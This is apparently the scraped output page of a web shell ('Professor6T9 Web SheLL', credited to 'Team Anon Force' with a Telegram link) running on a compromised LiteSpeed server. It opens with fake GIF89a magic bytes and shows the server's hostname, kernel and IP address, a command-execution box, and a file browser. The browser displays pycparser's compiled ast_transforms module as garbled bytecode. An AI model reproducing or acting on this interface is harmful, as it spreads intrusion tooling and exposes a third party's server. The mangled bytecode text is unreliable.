GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
pycparser
/
__pycache__
[ HOME ]
Exec
Submit
File Name : ast_transforms.cpython-38.pyc
U qX�f; � @ s0 d dl mZ dd� Zdd� Zdd� Zdd � Zd S )� )�c_astc C s� t | tj�st�t | jtj�s"| S t�g | jj�}d}| jjp@g D ]\}t |tjtj f�r||j� |� t||j� |jd }qB|dkr�|j� |� qB|j� |� qB|| _| S )a� The 'case' statements in a 'switch' come out of parsing with one child node, so subsequent statements are just tucked to the parent Compound. Additionally, consecutive (fall-through) case statements come out messy. This is a peculiarity of the C grammar. The following: switch (myvar) { case 10: k = 10; p = k + 1; return 10; case 20: case 30: return 20; default: break; } Creates this tree (pseudo-dump): Switch ID: myvar Compound: Case 10: k = 10 p = k + 1 return 10 Case 20: Case 30: return 20 Default: break The goal of this transform is to fix this mess, turning it into the following: Switch ID: myvar Compound: Case 10: k = 10 p = k + 1 return 10 Case 20: Case 30: return 20 Default: break A fixed AST node is returned. The argument may be modified. N���) � isinstancer ZSwitch�AssertionError�stmtZCompoundZcoordZblock_items�Case�Default�append�_extract_nested_case�stmts)Zswitch_nodeZnew_compoundZ last_case�child� r �I/opt/alt/python38/lib/python3.8/site-packages/pycparser/ast_transforms.py�fix_switch_cases s 3r c C s: t | jd tjtjf�r6|�| j�� � t|d |� dS )z� Recursively extract consecutive Case statements that are made nested by the parser and add them to the stmts_list. � r N)r r r r r r �popr )Z case_nodeZ stmts_listr r r r c s r c C s� t | �\} }|s qq | }t|tj�sJz |j}W q tk rF | Y S X qd|jkrjd| jkrj| j�d� |jdkr|| j |_| S )aK Atomic specifiers like _Atomic(type) are unusually structured, conferring a qualifier upon the contained type. This function fixes a decl with atomic specifiers to have a sane AST structure, by removing spurious Typename->TypeDecl pairs and attaching the _Atomic qualifier in the right place. �_AtomicN) �_fix_atomic_specifiers_oncer r �TypeDecl�type�AttributeError�qualsr Zdeclname�name)�decl�found�typr r r �fix_atomic_specifiersl s r c C s� | }d}| j }|dk r`t|tj�r.d|jkr.q`z|}|}|j }W q tk r\ | df Y S X qt|tj�spt�|j |_ d|j jkr�|j j�d� | dfS )z� Performs one 'fix' round of atomic specifiers. Returns (modified_decl, found) where found is True iff a fix was made. Nr FT) r r r ZTypenamer r r r r )r �parentZgrandparent�noder r r r � s"